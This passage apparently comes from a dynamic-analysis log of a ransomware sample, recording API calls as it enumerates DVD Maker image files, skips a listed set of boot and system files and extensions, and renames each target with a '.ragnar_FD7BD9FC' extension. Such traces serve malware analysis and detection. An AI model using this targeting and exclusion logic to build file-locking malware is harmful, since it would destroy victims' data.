maker\\shared\\dvdstyles\\layeredtitles\\layers.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.996] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0078.996] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0078.996] lstrcpyW (in: lpString1=0x1eab64, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png" [0078.996] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png") returned=".png" [0078.996] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.996] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="autorun.inf") returned 1 [0078.996] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0078.996] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootfont.bin") returned 1 [0078.996] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootsect.bak") returned 1 [0078.996] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0078.996] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr.efi") returned 1 [0078.996] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgfw.efi") returned 1 [0078.996] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0078.996] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="iconcache.db") returned 1 [0078.996] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntldr") returned -1 [0078.996] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0078.999] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat.log") returned -1 [0078.999] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.ini") returned -1 [0078.999] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="thumbs.db") returned -1 [0078.999] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.999] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.999] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.999] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.999] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.999] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.999] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png")) returned 0x20 [0079.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.000] CloseHandle (hObject=0xffffffff) returned 0 [0079.000] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" [0079.000] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.000] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.001] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.001] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0079.001] lstrcpyW (in: lpString1=0x1eab64, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png" [0079.001] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned=".png" [0079.001] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.001] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="autorun.inf") returned 1 [0079.001] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0079.001] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootfont.bin") returned 1 [0079.001] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootsect.bak") returned 1 [0079.001] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0079.001] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgr.efi") returned 1 [0079.001] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="bootmgfw.efi") returned 1 [0079.001] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0079.001] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="iconcache.db") returned 1 [0079.001] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0079.001] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0079.001] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat.log") returned -1 [0079.001] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="ntuser.ini") returned -1 [0079.001] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="thumbs.db") returned -1 [0079.001] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.001] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.001] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.001] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.001] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.001] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.001] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png")) returned 0x20 [0079.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.002] CloseHandle (hObject=0xffffffff) returned 0 [0079.002] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" [0079.002] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.002] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.002] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.003] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0079.003] lstrcpyW (in: lpString1=0x1eab64, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png" [0079.003] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png") returned=".png" [0079.003] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.003] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="autorun.inf") returned 1 [0079.003] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0079.003] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootfont.bin") returned 1 [0079.003] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootsect.bak") returned 1 [0079.003] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0079.003] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr.efi") returned 1 [0079.003] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgfw.efi") returned 1 [0079.003] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0079.003] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="iconcache.db") returned 1 [0079.003] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntldr") returned -1 [0079.003] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0079.003] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat.log") returned -1 [0079.003] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.ini") returned -1 [0079.003] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="thumbs.db") returned -1 [0079.003] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.003] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.003] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.003] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.003] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.003] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.003] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png")) returned 0x20 [0079.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.004] CloseHandle (hObject=0xffffffff) returned 0 [0079.004] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" [0079.004] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.004] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.004] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b300e1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b300e1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.004] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0079.004] lstrcpyW (in: lpString1=0x1eab64, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png" [0079.004] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png") returned=".png" [0079.005] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.005] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="autorun.inf") returned 1 [0079.005] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0079.005] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootfont.bin") returned 1 [0079.005] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootsect.bak") returned 1 [0079.005] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0079.005] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr.efi") returned 1 [0079.005] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgfw.efi") returned 1 [0079.005] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0079.005] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="iconcache.db") returned 1 [0079.005] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0079.005] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0079.005] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat.log") returned -1 [0079.005] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.ini") returned -1 [0079.005] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="thumbs.db") returned -1 [0079.005] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.005] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.005] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.005] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.005] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.005] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.005] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png")) returned 0x20 [0079.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.006] CloseHandle (hObject=0xffffffff) returned 0 [0079.006] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" [0079.006] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.006] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationright_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.006] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ae3e27, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ae3e27, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.006] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0079.006] lstrcpyW (in: lpString1=0x1eab64, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png" [0079.006] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png") returned=".png" [0079.006] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.006] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="autorun.inf") returned 1 [0079.007] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0079.007] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootfont.bin") returned 1 [0079.007] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootsect.bak") returned 1 [0079.007] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0079.007] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr.efi") returned 1 [0079.007] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgfw.efi") returned 1 [0079.007] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0079.007] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="iconcache.db") returned 1 [0079.007] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntldr") returned -1 [0079.007] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0079.007] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat.log") returned -1 [0079.007] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.ini") returned -1 [0079.007] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="thumbs.db") returned -1 [0079.007] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.007] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.007] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.007] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.007] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.007] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.007] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png")) returned 0x20 [0079.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.008] CloseHandle (hObject=0xffffffff) returned 0 [0079.008] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD 